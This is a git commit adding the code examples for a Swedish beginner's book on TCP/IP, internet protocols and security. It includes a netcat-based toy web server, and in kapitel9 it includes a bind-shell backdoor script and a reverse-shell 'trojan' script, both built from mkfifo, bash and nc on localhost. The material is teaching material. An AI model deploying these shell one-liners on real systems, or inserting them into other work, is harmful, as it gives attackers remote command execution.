Inital commit
This commit is contained in:
commit
f1f0b29fb6
49
README.md
Normal file
49
README.md
Normal file
@ -0,0 +1,49 @@
|
||||
# Demonerna på internet
|
||||
**Demonerna på internet : en introduktion till TCP/IP-protokoll, internet och säkerhet**
|
||||
är en utforskande bok om internet. Boken är skriven för att vara lättläst och
|
||||
innehåller inte särskilt mycket kod, men de få kodexempel som finns i boken
|
||||
hittar du här.
|
||||
|
||||
**ISBN: 978-91-983300-8-3**
|
||||
|
||||
Du hittar boken hos [CyberInfo Sverige](https://www.cyberinfo.se/bocker/) och
|
||||
[Bokus](https://www.bokus.com/bok/9789198330083/demonerna-pa-internet-en-introduktion-till-tcp-ip-protokoll-internet-och-sakerhet/).
|
||||
|
||||
Är du nyfiken på boken så titta gärna igenom
|
||||
[innehållsförteckningen](https://www.cyberinfo.se/dokument/demonerna-pa-internet_innehallsforteckning.html).
|
||||
|
||||
## Baksidetexten
|
||||
Internet är fullt av demoner som vi kan leka med. Mejldemoner, webbdemoner,
|
||||
namndemoner och många andra typer av demoner. I Demonerna på internet lär vi
|
||||
oss vad dessa demoner är för något och hur vi kan prata med dem med hjälp av
|
||||
vanliga textkommandon. Det gör att vi får en djupare förståelse för hur
|
||||
internet fungerar och hur allt hänger samman.
|
||||
|
||||
När vi utforskar demonerna upptäcker vi också några intressanta saker om
|
||||
internet. Bland annat att många av de protokoll och demoner vi använder idag
|
||||
är riktigt gamla. Vi lär oss också att Unixsystem i olika former har spelat en
|
||||
viktig roll för internets utveckling och gör så fortfarande.
|
||||
|
||||
Laborationerna i boken utförs därför på Unix- eller Linuxsystem. Men även om
|
||||
man använder ett annat operativsystem på sin dator kan man genomföra bokens
|
||||
laborationer. I början går vi igenom hur man kan installera Linux inuti
|
||||
Windows med hjälp av WSL. De som använder macOS har redan ett komplett
|
||||
Unixsystem och kan börja laborera direkt.
|
||||
|
||||
I boken utforskar vi också ämnen som säkerhet och hacking. Vi gör en egen
|
||||
trojan som startar en bakdörr på datorn. Vi avlyssnar nätverkstrafik med
|
||||
tcpdump och förfalskar mejl genom att prata direkt med mejlservrar på
|
||||
internet.
|
||||
|
||||
Vi lär oss hur HTTP-protokollet fungerar, hur man kan göra manuella
|
||||
förfrågningar och modifiera de headers som skickas med i HTTP-anropen. Vi
|
||||
testar också att göra en egen liten webbdemon, eller webbserver, som visar en
|
||||
enkel hemsida.
|
||||
|
||||
Boken är en kort introduktion till TCP/IP och några av de vanligaste
|
||||
protokollen, så som HTTP, SMTP, POP3, NTP och DNS. Den är skriven för att vara
|
||||
lättläst, och man behöver inte genomföra bokens alla laborationer om man inte
|
||||
vill – den går lika bra att läsa i sängen eller i soffan.
|
||||
|
||||
## Framsidan
|
||||

|
18
kapitel6/data.txt
Normal file
18
kapitel6/data.txt
Normal file
@ -0,0 +1,18 @@
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Content-Length: 298
|
||||
Server: netcat
|
||||
|
||||
<!doctype html>
|
||||
<html lang="sv">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Min egen HTTP-demon</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>En liten och enkel HTTP-demon</h1>
|
||||
<p>Webben är inte mycket mer än detta. En demon<br>
|
||||
som lyssnar på en port och skickar några textsträngar.</p>
|
||||
</body>
|
||||
</html>
|
||||
|
5
kapitel6/mini-httpd.sh
Normal file
5
kapitel6/mini-httpd.sh
Normal file
@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
while true; do
|
||||
cat data.txt | nc -w1 127.0.0.1 -l 8999;
|
||||
done
|
||||
|
5
kapitel9/backdoor.sh
Normal file
5
kapitel9/backdoor.sh
Normal file
@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \
|
||||
&& rm /tmp/f
|
||||
|
4
kapitel9/trojan.sh
Normal file
4
kapitel9/trojan.sh
Normal file
@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
mkfifo /tmp/f
|
||||
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f
|
||||
|
BIN
omslaget-demonerna-pa-internet-github.png
Executable file
BIN
omslaget-demonerna-pa-internet-github.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 149 KiB |
Loading…
x
Reference in New Issue
Block a user